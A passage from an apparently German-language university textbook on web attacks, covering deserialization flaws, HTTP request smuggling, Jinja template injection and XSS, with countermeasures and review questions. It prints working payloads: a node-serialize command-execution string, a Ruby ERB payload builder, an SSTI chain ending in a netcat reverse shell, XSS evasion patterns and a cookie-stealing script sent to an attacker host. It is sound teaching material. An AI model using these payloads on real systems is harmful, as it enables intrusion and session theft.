a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
,→ i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

# Modifiziertes Serialisiertes Objekt


a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:5:"admin";
,→ i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

In dem Beispiel wird ein einfaches Serialisierungsformat verwendet, String


Elemente werden in der Form s:Länge:Inhalt verwendet. Ein Angreifer würde
z.B. innerhalb des Browsers diese serialisierten Daten modifizieren und z.B.
aus dem String “user” (Länge 4) den String “admin” (Länge 5) machen und
versuchen auf diese Weise eine Privilege Escalation durchzuführen.
Weitaus schwerwiegendere Angriffe sind ebenso möglich:

ˆ Es gibt in PHP (wie in den meisten Programmiersprachen) Methoden,


die automatisch beim Erstellen bzw. Vernichten von Objekten aufgeru-
fen werden. Ein Angreifer kann anstatt (wie bei dem angegeben Beispiel)
einen Stringwert zu verändern, den Stringwert mit einem serialisierten
11.8. SERIALISIERUNGSANGRIFFE 133

Objekt ersetzen. Dieses Objekt muss nur eine (bei der Serialisierung au-
tomatisch aufgerufene) Methode besitzen, die auf eine Variable zugreift
und diese als Code ausführt. Der Angreifer würde im serialisierten Ob-
jekt nun den Wert dieser Variable auf den Schadcode setzen und dadurch
beim Deserialisieren eine serverseitige Code-Execution erzeugen.

ˆ Es können auch serialisierte Objekte mit Objektreferenzen gebaut wer-


den. Problematisch ist, dass die referenzierten Objekte während der De-
serialisierung auch Daten wieder freigeben können, man über die Ob-
jektreferenz allerdings noch auf diese zugreifen kann. Dies führt zu use-
after-free Bugs die für memory corruption-basierte Angriffe ausgenutzt
werden können.

11.8.1 Serialisierungsangriffe in Java


Serialisierung innerhalb des Java-Ökosystems besitzt das Problem, dass bei
der Deserialisierung zuerst das de-serialisierte Objekt gebaut wird und erst
danach der Typ, etc. des Objekts überprüft werden kann. Hier ein Beispiel:

InputStream is = [Link]();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)[Link]();

Dies bedeutet, dass die Java-Laufzeitumgebung initial aus einem nicht-


vertrauenswürdigem Dokument ein neues Java-Objekt erstellen muss. Ein
Angreifer kann dies z.B. für einen einfachen DoS missbrauchen. So erstellt
folgender Java-Code z.B. mehrere Hashes die ineinander verknüpft werden.
Während solch ein Konstrukt gebaut und serialisiert werden kann, ergibt dies
eine rekursive Datenstruktur mit unendlichem Speicherverbrauch beim Dese-
rialisieren und bringt dadurch das Java Runtime Environment zum Absturz:

Set root = new HashSet();


Set s1 = root;
Set s2 = new HashSet();

for (int i = 0; i < 100; i++) {


Set t1 = new HashSet();
Set t2 = new HashSet();
[Link]("foo"); // make it not equal to t2
[Link](t1);
[Link](t2);
[Link](t1);
[Link](t2);
134 KAPITEL 11. SERVERSEITIGE ANGRIFFE

s1 = t1;
s2 = t2;
}

11.8.2 Serialisierungsangriffe in Ruby on Rails


Ruby (on Rails) besitzt eine längere Historie von Deserialiserungsangriffen.
Ein Beispiel hierfür verwendet die Rails ERB Klasse. Diese Klasse besitzt ein
Element src in welchem Base64-codierter Source Code enthalten sein kann.
Dieser Source Code wird bei Aufruf der Methode result eines ERB-Objektes
intern aufgerufen.
Ruby verwendet ein in XML-eingepacktes JSON-Dokument als Serialisie-
rungsformat. Ein Angreifer könnte z.B. folgendes Dokument bauen, welches
einem serialisierten ERB Objekt entspricht:

code = [Link](ARGV[1])

# Construct a YAML payload wrapped in XML


payload = <<-[Link]("\n", "&#10;")
<fail type="yaml">
--- !ruby/object:ERB
template:
src: !binary |-
#{Base64.encode64(code)}
</fail>
PAYLOAD

Der Code liest zuerst eine Payload aus einem File aus (der Pfad wird durch
die Variable ARGV bereitgestellt) und erstellt dann ein Dokument welches ein
serialisiertes ERB-Objekt beschreibt. Hier wurde nun src mit dem Schadcode
befüllt und falls die Webapplikation, welche dieses serialisierte Objekt entge-
gen nimmt, nun das Objekt deserialisert und auf die result Methode zugreift
wird der bösartige Code des Angreifers ausgeführt. Dies entspricht einer Re-
mote Command Injection, basierend auf einem Serialisierungsfehler.

11.8.3 Serialisierungsangriffe in Javascript / [Link]


Ein schönes Beispiel für Serialisierungsangriffe ist folgende [Link] Applikation
welche die Serialisierungsbibliothek node-serialize verwendet:

const express = require('express');


const bodyParser = require('body-parser');
11.8. SERIALISIERUNGSANGRIFFE 135

const serialize = require('node-serialize');

const app = express();

[Link]([Link]({ extended: false }));

[Link]("/api/deserialize", function(req, res) {


var str = ""+[Link];
const todo = [Link](str);
[Link](todo);
[Link]("wohoo!");
});

const server = [Link](3000, function() {


[Link]("Server started! ([Link])");

// Beispiel eines "normalen" serialisierten Objekts


const normal = {
todo: "some string"
};
[Link]("serialized normal object" +
,→ [Link](normal));
});

Bei diesem Beispiel wird vom Server als Parameter ,,fubar” ein serialisier-
tes Objekt als Text entgegen genommen, deserialisiert und ausgegeben. Das
erwartete serialisierte Object wird nun über das Kommandozeilentool curl an
den Server übertragen:

$ curl -X POST -d "fubar={\"todo\":\"some string\"}"


,→ [Link]

# Ausgabe am Server:
Server started! ([Link])
serialized normal object: {"todo":"some string"}
serialized attack code: {"todo":"_$$ND_FUNC$$_function()
,→ {\n\t\t\t\trequire('child_process').exec('ls /bin', function(error,
,→ stdout, stderr) {[Link](stdout)})\n\t\t\t}"}

{ todo: 'some string' }

In Javascript kann eine Klasse/Objekt auch eine Funktion als Element


besitzen. Folgende Klasse inkludiert z.B. unter dem Namen ,,todo” nicht ein
Attribut, sondern eine ausführbare Funktion:
136 KAPITEL 11. SERVERSEITIGE ANGRIFFE

// Beispiel eines serialisierten Objekts mit einer


,→ aufrufbaren Funktion
const todo = {
todo : function() {
// child_process kann verwendet werden um
,→ eine ausführbare Datei aufzurufen
require('child_process').exec('ls /bin',
,→ function(error, stdout, stderr)
,→ {[Link](stdout)})
}
};

Wird diese Klasse serialisiert, wird folgender serialisierter Text erstellt:

{"todo":"_$$ND_FUNC$$_function()
,→ {\n\t\t\t\trequire('child_process').exec('ls /bin', function(error,
,→ stdout, stderr) {[Link](stdout)})\n\t\t\t}"}

Dieser inkludiert das Ausführen eines Befehls (,,ls /bin”) in der Hoffnung,
dass beim deserialisieren dieser Befehl am Server aufgerufen werden würde.
Dieses Kommando wird nun ebenso über curl an den Server übertragen:

# Die Zeichen \ und £ mussten teilweise maskiert werden


$ curl -X POST -d "fubar={\"todo\":\"_\$\$ND_FUNC\$\$_function()
,→ {\n\t\t\t\trequire('child_process').exec('ls /bin', function(error,
,→ stdout, stderr) {[Link](stdout)})\n\t\t\t}\"}"
,→ [Link]

# Ausgabe am Server:

{ todo: [Function (anonymous)] }

Das Objekt wurde deserialisiert (inkl. der Methode mit dem Schadcode),
würde diese Methode während der Request-Abarbeitung aufgerufen werden,
würde unser Kommando am Server exekutiert werden. Wir können diesen
Exploit noch verbessern indem wir durch Anhängen von ,,()” nicht nur eine
Funktion definieren, sondern diese auch direkt aufrufen. Dies würde folgendem
serialiserten String bzw. folgendem Curl-Aufruf entsprechen:

$ curl -X POST -d "fubar={\"todo\":\"_\$\$ND_FUNC\$\$_function()


,→ {\n\t\t\t\trequire('child_process').exec('ls /bin', function(error,
,→ stdout, stderr) {[Link](stdout)})\n\t\t\t}()\"}"
,→ [Link]
11.8. SERIALISIERUNGSANGRIFFE 137

Die Ausgabe am Server zeigt nun, dass das Kommando ausgeführt, und
der Inhalt von /bin ausgegeben wurde:

{ todo: undefined }
[
2to3-2.7
aa-enabled
aa-exec
aa-features-abi
aconnect
acpi_listen
add-apt-repository
addpart
addr2line
afm2pl
afm2tfm
ag
aleph
...

11.8.4 Gegenmaßnahmen
Die Grundidee ist es, dass der Entwickler vor der Deserialisierung definieren
muss, welche validen Objekttypen bei der Deserialisierung vorkommen dürfen.
Wie und ob dies überhaupt möglich ist, ist allerdings von der verwendeten
Programmiersprache abhängig — z.B. muss bei älteren Java-Versionen eine
externe Serialisierungsbibliothek5 verwendet werden um ein sicheres Verhalten
zu erzielen.
Zusätzlich müssen serialisierte Daten einer Integritätssicherung unterzogen
werden (z.B. mittels einer Signatur oder eines MACs) damit ein Angreifer die
serialisierten Daten nicht verändern kann.
Da diese Sicherungsmassnahmen teilweise schwer umsetzbar sind, emp-
fiehlt OWASP, dass Daten nur deserialisert werden dürfen, wenn diese aus
einer authentischen und integritäts-geschützen Quelle kommen. Dadurch wird
allerdings das Grundproblem nicht gelöst, sondern wird die Verantwortung
und das Problem nur zu dem Anwender, der die Deserialisierung anstößt, ver-
schoben. Falls ein Angreifer das Konto dieses Anwenders übernehmen kann, er-
langt er wiederum die Möglichkeit eine Deserialisierungattacke durchzuführen.

5
[Link]
138 KAPITEL 11. SERVERSEITIGE ANGRIFFE

11.8.5 HTTP Request Smuggling


Bei HTTP Request Smuggling versucht der Angreifer, einzelne HTTP Re-
quests in ein System einzuschleusen. Der Angriff erfolgt nicht direkt gegen eine
Webapplikation an-sich, sondern nutzt aus, dass bei modernen Webapplikatio-
nen zumeist mehrere Server involviert [Link] HTTP verwendet eine nicht-
eindeutige Kodierung der Request-Länge, HTTP Request Smuggling tritt auf,
wenn die verschiedenen Server bei dem indenten Request von unterschiedli-
chen Request-Längen ausgehen und daher diesen Request unterschiedlich zu-
sammensetzen.
Ein typisches Setup besteht aus einem Frontend- und einem einem Backend-
Server. Das Frontend dient zumeist zum Cachen von Daten oder auch zur Zu-
griffskontrolle. Das Backend beinhaltet den Applikationsserver welcher schlus-
sendlich den Request innerhalb des Applikationscodes behandelt. Problema-
tisch ist, dass ein Frontend-System die Anfragen mehrerer Clients (Web-Browser)
parallel entgegen nimmt und diese über eine Verbindung an ein Backend-
System weiterleitet. Die Verwendung einer TCP-Verbindung geschieht zumeist
aus Performancegründen, da das wiederholte Aufbauen einer Verbindung zeit-
aufwendig wäre. Da nur nur eine Verbindung verwendet wird, müssen Requests
unterschiedlicher Browser nacheinander über diese Verbindung übertragen
werden. Das Backend-System empfängt nun über diese Verbindung die An-
fragen, muss diese erneut in einzelne Requests zerlegen und schlussendlich
abarbeiten. Damit das Backend die Grenzen der einzelnen Requests identifi-
zieren kann, wird die Längenangabe innerhalb der Requests verwendet.
HTTP beeinhaltet zwei Möglichkeiten die Requestlänge zu definieren:

1. Der HTTP-Header Content-Lenght beinhaltet die Länge des Request-


Bodies.

2. Wird als HTTP-Header Transfer-Encoding: chunked verwendet, gibt es


keinen Header mit der Länge des Requestbodies. Anstatt dessen können
als Requestbody mehrere Chunks übertragen werden. Ein Chunk be-
steht immer aus einer initialen Zeile mit der Länge der Daten inner-
halb des aktuellen Chunks. Diese Länge wird in hexadezimal Notation
übergeben. Direkt an die Zeile mit der Länge werden Daten (entspre-
chend der übertragenen Länge) angehängt. Ein Chunk wird mit einer
Leerzeile beendet. Schlussendlich wird der Reqeust mit einem Chunk
der Länge 0 beendet.

Der Fall, dass sowohl Content-Length als auch Transfer-Encoding: chunked


gesetzt sind, wurde im HTTP-Standard nicht definiert. Dementsprechend rea-
11.8. SERIALISIERUNGSANGRIFFE 139

gieren unterschiedliche Server auch unterschiedlich auf solche Requests. Dies


kann von einem Angreifer ausgenutzt werden.
Zwei einfache Beispiele6 sollen dieses Verhalten erläutern.
Nehmen wir initial an, dass das Frontend Content-Length und das Backend
chunked encoding verwendet. Folgender Request wird empfangen:

POST / HTTP/1.1
Host: [Link]
Content-Length: 13
Transfer-Encoding: chunked

SMUGGLED

Das Frontend würde (aufgrund des Content-Length: 11 Headers) die ge-


samte Nachricht auf die Verbindung zum Backend kopieren. Ein paralleler
Request eines zweiten Benutzers wird direkt danach auf die gleiche Leitung
kopiert. Das Backend liest den Request, verwendet aber Chunked Encoding.
Aufgrund des 0-Chunks (die initiale 0-Zeile) beendet es den ersten Request
nach der Leerzeile (nach der 0) und verwendet den Rest der Eingabe als Beginn
eines neuen Requests (der daher mit “ SMUGGLED” beginnt). Der parallele
Request eines anderen Benutzers wird direkt an den eingeschleusten Request
als String angehängt und wird dadurch Teil des eingeschleusten Requests.
Der umgekehrte Fall: Frontend verwendet Chunked-Encoding, Backend ver-
wendet Content-Length funktioniert ähnlich:

POST / HTTP/1.1
Host: [Link]
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Hier wird allerdings eine Zeile mit 0 zwischen dem eingeschleusten Request
und dem dazu-kopierten Folgerequest eines anderen Benutzers eingefügt (da
das Chunked-Encoding diese Zeile zum Beenden des Requests benötigt). Dies
muss der Angreifer bei der Erstellung seines Angriffscodes berücksichtigen.
6
Aus dem exzellenten PortSwigger-Tutorial unter [Link]
rity/request-smuggling.
140 KAPITEL 11. SERVERSEITIGE ANGRIFFE

Wie kann dieses Verhalten bei einem Angriff ausgenutzt werden? Ein
schönes Beispiel wäre eine Webapplikation, bei dem ein Benutzer Kommentare
absetzen kann. Das Registrieren eines Benutzers ist auch für einen Angreifer
möglich. Hier könnte z.B. folgender Request als Angriff verwendet werden7 :

GET / HTTP/1.1
Host: [Link]
Transfer-Encoding: chunked
Content-Length: 324

POST /post/comment HTTP/1.1


Host: [Link]
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=ca c
,→ rlos%[Link]&website=https%3A%2F%[Link]&comment=

Unter der Annahme, dass das Frontend Content-Length und das Backend
Chunked-Encoding verwendet würde folgendes passieren:

ˆ Das Frontend kopiert den gesamten Request auf die Verbindung zum
Backend.

ˆ Das Backend versucht den Request zu erkennen, verwendet dafür Chunked-


Encoding und beendet den Request mit dem 0-Chunk.

ˆ Das Backend liest die nächste Zeile Text und interpretiert diese als Be-
ginn eines neuen Requests. In diesem Fall wäre dies ein POSt Request
auf /post/comment.

ˆ Da der Angreifer selbst ein Konto erstellen konnte, konnte dieser eine
valide Session als auch ein valides CSRF-Token generieren. Die Sessi-
on wird als HTTP-Header eingeschleust. Innerhalb des eingeschleusten
Requests wird auch das bekannte CSRF-Token gesetzt.

ˆ Innerhalb des eingeschleusten Requests wird mit einem Request-Body


begonnen. In diesem werden mehrere Parameter gesetzt. Der einge-
schleuste Request endet mit einem comment=, also dem Wert der als
Kommentar vom User eingegeben werden sollte.
7
Quelle: [Link]
11.9. SERVER-SIDE TEMPLATE INJECTION (SSTI) 141

ˆ Da das Backend nicht weiss, dass der Request beendet ist, liest es die
nächsten Daten aus der eingehenden Verbindung. In diesem Fall ist dies
ein Request eines anderen Benutzers, der zeitgleich abgegeben und vom
Frontend direkt nach dem eingeschleusten Reqeust in die Verbindung
kopiert wurde.

ˆ Die Applikationslogik interpretiert nun den Folgerequest als Inhalt des


Parameters comment, also als Kommentar der als Kommetar gepostet
werden sollte (da die Operation /comment/post war).

ˆ Der Angreifer überprüft nun, ob ein neuer Kommentar mit sensiblen


Daten eines anderen Users an der betroffenen Stelle auftaucht. Sensi-
ble Daten könnte z.B. Credentials im Zuge einer Login-Operation oder
auch ein HTTP-Header mit Session-Cookies sein. Falls möglich, würde
der Angreifer diese Verwenden um serverseitig die Identität des anderen
Benutzers anzunehmen.

ˆ Falls kein Kommentar erscheint oder der Kommentar nur sinnlose Infor-
mationen beinhaltet, wiederholt der Angreifer den Angriffsrequest (po-
tentiell würde er ein neues CSRF-Token initial generieren).

Was kann man gegen HTTP Request Smuggling Angriffe unternehmen?


Mehrere Möglichkeiten würden diese unterbinden;

ˆ Sicherstellen, dass Front- und Backend die Request-Länge ident inter-


pretieren.

ˆ Am Frontend potentiell mehrdeutige Request-Längen mit eindeutigen


Längen ersetzen.

ˆ Zwischen Front- und Backend für jeden Client-Request eine neue Ver-
bindung aufbauen. Dies wird zumeist aus Performance-Gründen nicht
durchgeführt.

ˆ Zwischen Front- und Backend HTTP/2 verwenden. Diese Protokollver-


sion besitzt die Mehrdeutigkeit der Requestlängen nicht mehr.

11.9 Server-Side Template Injection (SSTI)


Web-Applikationen verwenden Template-Engines um dynamische Inhalte zu
präsentieren. Anstatt eine Seite starr zu kodieren, wird ein Template server-
seitig in einer Datenbank gespeichert (z.B. als String/Text). Wird die Seite
142 KAPITEL 11. SERVERSEITIGE ANGRIFFE

angezeigt, wird das Template mit den aktuellen Daten kombiniert und die
resultierende Seite angezeigt. Häufig können eingeloggte Benutzer (im Fol-
genden Autoren genannt) Templates server-seitig modifizieren und auf diese
Weise das Layout modifizieren.
Durch die Verwendung von Templates ergeben sich Vorteile:

ˆ Content-Autoren können Templates modifizieren (z.B. mittels eines WYSIWYG–


Editor innerhalb des Administrationsbereichs) ohne auf den Source-
Code der Applikation Zugriff zu benötigen.

ˆ Die verwendeten Template-Sprachen sind zumeist einfacher als ,,volle”


Programmiersprachen und können daher auch leichter angelernt werden
und erlauben es so einem größeren Benutzerkreis die Inhalte der Web-
seite zu modifzieren.

ˆ Die Daten, auf welche ein Template zugreifen kann, können limitiert
werden. Auf diese Weise können Content-Autoren nur auf ein Subset
der server-seitigen Daten zugreifen.

Natürlich ergeben sich auch Angriffsmöglichkeiten. Kann ein Angreifer ein


Template modifizieren und anschließend zur Ausführung bringen, besitzt er
die Möglichkeit am Server Code (innerhalb der Template-Engine) auszuführen.
Nun benötigt er noch die Möglichkeit, aus dem Template-System auszubrechen
und in der zugrunde liegenden Umgebung (z.B. in die Web-Applikation) Be-
fehle auszuführen. Dies wäre dann eine Remote Command Execution (RCE).

11.9.1 Beispiel Template System: Jinja (Python)


Eine häufig verwendete Template Engine in Python-basierten Web-Applikationen
ist Jinja8 . In einem Template werden primär zwei verschiedene Kommando-
Tags zum Inkludieren von Daten bzw. Kommandos verwendet:

<ul>
{% for item in somelist %}
<li> {{ item }} </li>
{% endfor %}
</ul>

Dieses Jinja/HTML-Fragment baut eine Aufzählungsliste (mittels dem ul-


Tag). Es verwendet Template-Tags um eine Python-for-Schleife zu inkludieren.
8
[Link]
11.9. SERVER-SIDE TEMPLATE INJECTION (SSTI) 143

Diese Schleife iteriert über die somelist Liste und inkludiert jedes Item in einem
li-Element.

11.9.2 Exploitation
In einem typischen Szenario hat der Angreifer bereits Zugriff auf ein System
erlangt und kann sowohl ein Template bearbeiten als auch ausführen. Dies
kann z.B. durch Erlangen eines CMS-Autor-Accounts innerhalb der Webober-
fläche geschehen. Innerhalb dieser Oberfläche kann der Angreifer ein Template
(z.B. für versendete Emails) modifizieren als auch, z.B. als ,,Preview”, anzei-
gen (und dadurch das Template zur Exekution bringen).
Der Angreifer verwendet hierfür z.B. die gezeigen {{ . . . }} Tags. Er besitzt
allerdings nur Zugriff auf Objekte, welche in das Template vom System hinein
übergeben wurden. Bei unserem Beispiel wäre dies die Liste somelist. Hier
kann er allerdings das Python-Typsystem ausnutzen um Zugriff auf weitere
Objekte zu erlangen. Schlussendlich will der Angreifer zu einem Objekt bzw.
zu einer Klasse gelanten, welche ihm die Ausführung von Code am Server
erlaubt.
In Python kann über das Attribut class auf die Klasse eines Objekts
zugegriffen werden, die Methode mro liefert sowohl die eigene Klasse als auch
alle Elternklassen eines Objektes:

somelist = [1,2,3]
somelist.__class__ # -> <type 'list'>
somelist.__class__.mro() # -> [<type 'list'>, <type 'object'>]
obj_class = somelist.__class__.mro()[1]

Somit erhaltne wir über ,,somelist. class .mro()” alle Klassen (inklusi-
ve vererbter Klassen) des Objekts ,,somelist”. In Python erben alle Klassen
von der Elternklasse ,,Object” welche wir über die Array-Position 1 selektie-
ren und der Variablen ,,obj class” zuweisen. Klassen in Python besitzen die
Methode ,, subclasses ” welche eine Liste von allen aktuell bekannten Sub-
klassen zurück liefert. Diese Liste ist dynamisch sowohl die Elemente, als auch
die Reihung jener, kann zur Laufzeit variieren.
Ein Angreifer kann diese Liste ausgeben und eine potentiell verwundbare
Klasse, wie z.B. ,,[Link]” suchen und über den Index diese Klasse
selektionen. Nehmen wir an, dass diese Klasse in unserem Beispiel auf Array
Position 42 vorhandne war. Durch Hinzufügen von ,,()” wird nun der Kon-
struktor der Klasse aufgerufen, hierbei können Parameter angegeben werden.
Bei ,,Popen” kann ein Array mit Parametern übergeben werden. Diese werden
144 KAPITEL 11. SERVERSEITIGE ANGRIFFE

zusammenkopiert und beim Aufruf des Konstruktors als Systemkommando


ausgeführt:

obj_class = somelist.__class__.mro()[1]
obj_class.__subclasses__()[42] # -> <class '[Link]'>
obj_class.__subclasses__[42](["nc", "[Link]", "443", "-e", "/bin/sh"])

Bei diesem Beispiel wird somit als Kommando ,,ns [Link] 443 -e /bin/sh”
aufgerufen: dieses Kommando baut eine reverse-shell auf, ein Angreifer erhält
auf diese Weise Shell-Zugriff auf den Server mit den Rechten der Web-Applikation.
Webapplikationen versuchen häufig, Benutzereingaben in Templates auf
Schadcode hin zu überprüfen. Dies ist problematisch da Templates viele Möglichkeiten
bieten, Schadcode zu verschleiern und auf diese Weise Absicherungen zu um-
gehen9 . Als Angreifer sucht man in diesem Fall am Besten nach ,,bypass” und
dem Namen der verwendeten Template-Engine.
Ein Exploit gegen ein Template-System kann selten zu 100% statisch er-
folgen da die Liste der Subklassen von ,,Object” dynamisch ist: sowohl die
Elemente als auch deren Position ist von der Laufzeitumgebung abhängig
und kann sich bei jedem Start der Webapplikation verändern. Ein Angrei-
fer wird daher zumeist mehrstufig vorgehen und nach Erlangen des Zugriffs
auf das CMS initial versuchen aussichtsreiche Objekt-Klassen und deren Posi-
tion (im Subklassen-Array) zu identifizieren. Anschließend wird er versuchen,
erfolgversprechende Klassen zu instanzieren und auf diese Weise Schadcode
auszuführen.

11.10 Reflektionsfragen
1. Wie funktioniert eine SQL union-based Injection? Womit können SQL-
Injections vermieden werden?

2. Wie funktioniert eine SQL time-based Injection? Womit können SQL-


Injections vermieden werden?

3. Warum sollten SQL prepared statements verwendet werden?

4. Was versteht man unter einer Serialisierungs-Schwachstelle? Welche ne-


gativen Auswirkungen können Serialisierungsangriffe auf eine Applika-
tion besitzen?
9
siehe auch [Link]
th-jinja2/
11.10. REFLEKTIONSFRAGEN 145

5. Was versteht man unter XML External Entity Attacks? Welche negati-
ven Auswirkungen auf die Applikation können erzielt werden und welche
Gegenmaßnahmen sind möglich?

6. Welche Probleme können beim Upload eines Files auf einen Webserver
auftreten? Welche Best-Practises im Zusammenhang mit File-Uploads
sollten beachtet werden?

7. Unterschied der Angriffsvektoren mit einem File, dass serverseitig exe-


kutierten Code enthält und einem File, dass client-seitig exekutierten
Code enthält?

8. Wie können Path-Traversal Angriffe eingesetzt werden?

9. Erläutere LDAP-Injections.

10. Welche Schwachstelle wird bei Type-Juggling Angriffen ausgenutzt? Erläutere


ein solches Beispiel.

11. Was versteht man unter HTTP Request Smuggling?

12. Erläutere Server-Side Template Injection (SSTI).


KAPITEL 12
Clientseitige Angriffe

Client-seitige Angriffe zielen auf den Web-Browser des Benutzers ab. Da eine
Interaktion des Benutzers bei vielen Angriffen benötigt wird, werden sie zu-
meist im Zuge von Social-Engineering Angriffen eingesetzt. Webserver besitzen
die Möglichkeit, mittels optionaler HTTP Header den Clients Sicherheitspo-
licies und Verwendungshinweise mitzuteilen; Clients können auf diese Weise
Schadcode erkennen und filtern.

12.1 JavaScript-Injections (XSS)


Javascript-Injections (Cross-Site Scripting XSS) sind ein sehr häufig genutzter
Angriffsvektor. Aufgrund der Häufigkeit dieses Angriffsvektor sind für diesen
auch mehrere Hardening-Maßnahmen verfügbar.
Prinzipiell findet bei diesem Angriffsvektor der Angreifer einen Weg um
JavaScript-Code innerhalb einer Webseite zu platzieren. Wird diese Webseite
nun von einem Opfer in dessen Browser angezeigt, wird dieser Code exekutiert
und der Angreifer kann auf diese Wiese unvorhergesehenen Code exekutieren.
Ein einfaches Beispiel wäre innerhalb der Kommentarfunktion einer Web-
seite möglich. Im Normalfall kann hier ein Benutzer Text eingeben, z.B. “Hal-
lo”, und dies wird für alle anderen Benutzer als Teil der HTML-Seite ausge-
geben. Das resultierende HTML-Fragment könnte z.B. so aussehen:

<div class="comment">
<div class="author">Andreas Happe</div>

147
148 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

<div class="content">Hallo</div>
</div>

Ein Angreifer würde nun versuchen, JavaScript-Code als Eingabe zu übergeben,


in der Hoffnung, dass dieser Code ungefiltert in der HTML-Ausgabe übernommen
wird. Betrachtet ein anderer Benutzer nun diese Seite, würde dieser JavaScript-
Code im Browser des anderen Benutzers ausgeführt werden. Ein einfaches Bei-
spiel hierfür wäre die Eingabe von ¡script¿alert(1);¡/script¿. Dieses JavaScript-
Fragment ist relativ harmlos und öffnet nur ein Browser-Popup mit dem Text
“1”. Der resultierende HTML-Code (der im Browser des Opfers angezeigt
werden würde) wäre:

<div class="comment">
<div class="author">Andreas Happe</div>
<div class="content"><script>alert(1);</script></div>
</div>

Ein Problem bei der defensiven Identifikation von potentiellen XSS-Lücken


ist, dass die XSS-Angriffsfläche immens ist. Fast jede mögliche Benutzereinga-
be kann XSS-Schadmuster beinhalten. Ein Beispiel dafür wäre ein XSS-Fehler
innerhalb von Flickr. Hier konnten Hacker XSS-Schadcode in den Metadaten
der hochgeladenen JPEGs integrieren (z.B. als Kameramodel). Diese Daten
wurden von Flickr ausgelesen, auf der Homepage ausgegeben und dadurch
anderen Benutzern als Schadcode “untergejubelt”. Ein weiteres Beispiel für
unerwartete XSS-Angriffsvektoren ist dieses Dokument. Auf Anfrage hin ha-
be ich eine eBook-Version dieses Dokuments erstellt und auf Amazon Kindle
Direct Publishing hochgeladen. In der Entwurfsansicht wurden dann mehrere
Hundert Rechtschreibfehler bemängelt. Wenn nun allerdings in der Detail-
ansicht die Rechtschreibfehler betrachtet wurden, wurden automatisch XSS-
Fragmente aus dem Dokument als Teil der Weboberfläche ausgeführt und
hatten teilweise Zugriff auf Amazon-Cookies, etc.

12.1.1 Arten von XSS-Angriffen


XSS-Angriffe werden in drei grobe Familien eingeteilt:

Reflected XSS : hier wird kein XSS-Code am Server persistiert sondern vom
Server an den Client zurück reflektiert. Dies wird meistens durch das
Einschleusen von JavaScript-Code über einen HTTP Parameter erfüllt
— dies impliziert allerdings auch, dass der Angreifer einen Weg findet,
12.1. JAVASCRIPT-INJECTIONS (XSS) 149

das Opfer zum Aufruf der modifizierten URL zu bewegen. Beispiel einer
modifizierten URL: [Link]
pt>alert(1)</script>.

Stored/Persistent XSS : hier besitzt der Angreifer die Möglichkeit den


Javascript-Code am Server zu persistieren, ihn z.B. als Datenbank-Inhalt
oder über eine hochgeladene Datei zuzustellen. Das Opfer betrachtet
nun eine Webseite und bekommt durch den Server das XSS-Fragment
übertragen. Ein Beispiel wäre das Übertragen von <script>alert(1)</s c
cript> als Chatnachricht innerhalb einer Webseite.

DOM-based XSS : dieser Angriffsvektor betrifft vor allem client-seitige Javascript-


Frameworks die Eingaben aus dem DOM1 des Browsers übernehmen.
Der Angreifer versucht, Schadcode innerhalb des DOMs zu platzieren
(z.B. über die verwendete URL) und hofft, dass die Webapplikation die-
ses Element zum Bau einer Webseite verwendet. Bei dieser Form des
XSS wird der bösartige Javascript Code erst im Client gebaut.

mXSS : Webbrowser erlauben es, über eine Stringzuweisung in das inner-


HTML-Attribute HTML-Code zu erstellen. Bevor der übergebene String
in HTML-Code verwandelt wird, wenden die unterschiedlichen Browser-
Familien Optimierungen (Mutationen) auf den String an. Dies kann ein
Angreifer ausnutzen, indem er Schadcode so formatiert, dass er inner-
halb des Strings noch harmlos wirkt, aber nach der String-Mutation
bösartig wird.

uXSS : Universal XSS zielen auf Fehler innerhalb von Webbrowsern bzw.
innerhalb von Webbrowserplugin ab. Da diese auf ein Client-Programm
abzielen, sind sie für diese Vorlesung out-of-scope.

Ein Problem an XSS-Angriffsmustern ist, dass diese sehr stark variieren


können und daher schwer zu filtern sind; anbei mehrere XSS-Muster:

<script>alert(1);</script>
<SCRIPT SRC=[Link]

<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
1
Das Document-Object-Model beschreibt eine Programmierschnittstelle welche
HTML/XML-Daten als Baumstruktur darstellt. Mittels Javascript kann das DOM modifi-
ziert werden um beispielsweise Elemente bzw. deren Attribute hinzuzufügen, entfernen oder
zu modifizieren; Eventhandler zu setzen bzw. Events zu feuern; bzw. um CSS zu verändern.
150 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

<IMG SRC=javascript:alert([Link](88,83,83))>

<IMG SRC= onmouseover="alert('xxs')">


<IMG SRC="jav ascript:alert('XSS');">
<BGSOUND SRC="javascript:alert('XSS');">
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

Eine gute Quelle für weitere XSS-Beispiele ist das OWASP XSS Filter
Evasion Cheat Sheet2 .

12.1.2 XSS-Payloads
Mittels des eingeschleusten JavaScript-Code versucht der Angreifer nun, ne-
gativen Einfluss auf einen Benutzer zu nehmen.

Session Hijacking
Javascript wird innerhalb des Browsers ausgeführt. Da in diesem auch zumeist
das Session-Cookie zur Identifikation eines Benutzers gegneüber dem Server
gespeichert wird, ist das Stehlen dieses via XSS naheliegend.
Um dies zu bewerkstelligen, verwendet der Angreifer einen öffentlich-erreichbaren
Webserver zu welchem die Cookies (und damit die Benutzeridentitäten) übermittelt
werden sollen. In dem Bespiel wird [Link] catch
er für diesen Zweck verwendet.
Findet der Angreifer auf der Opferwebseite eine persistent-XSS Möglichkeit,
könnte er nun folgendes Javascript-Fragement als XSS-Payload verwenden:

<script>
[Link]="[Link] c
,→ [Link];
</script>

Der Webbrowser würde also zu einer neuen URL auf dem Angreifer-Server
navigiert werden. Ein Teil der URl ist der Parameter ,,c”, dieser Parameter
wird mit den aktuellen Cookies befüllt. In diesen ist auch das Session-Cookie
enthalten. Der Angreifer würde dieses nun aus den Log-Dateien seines Servers
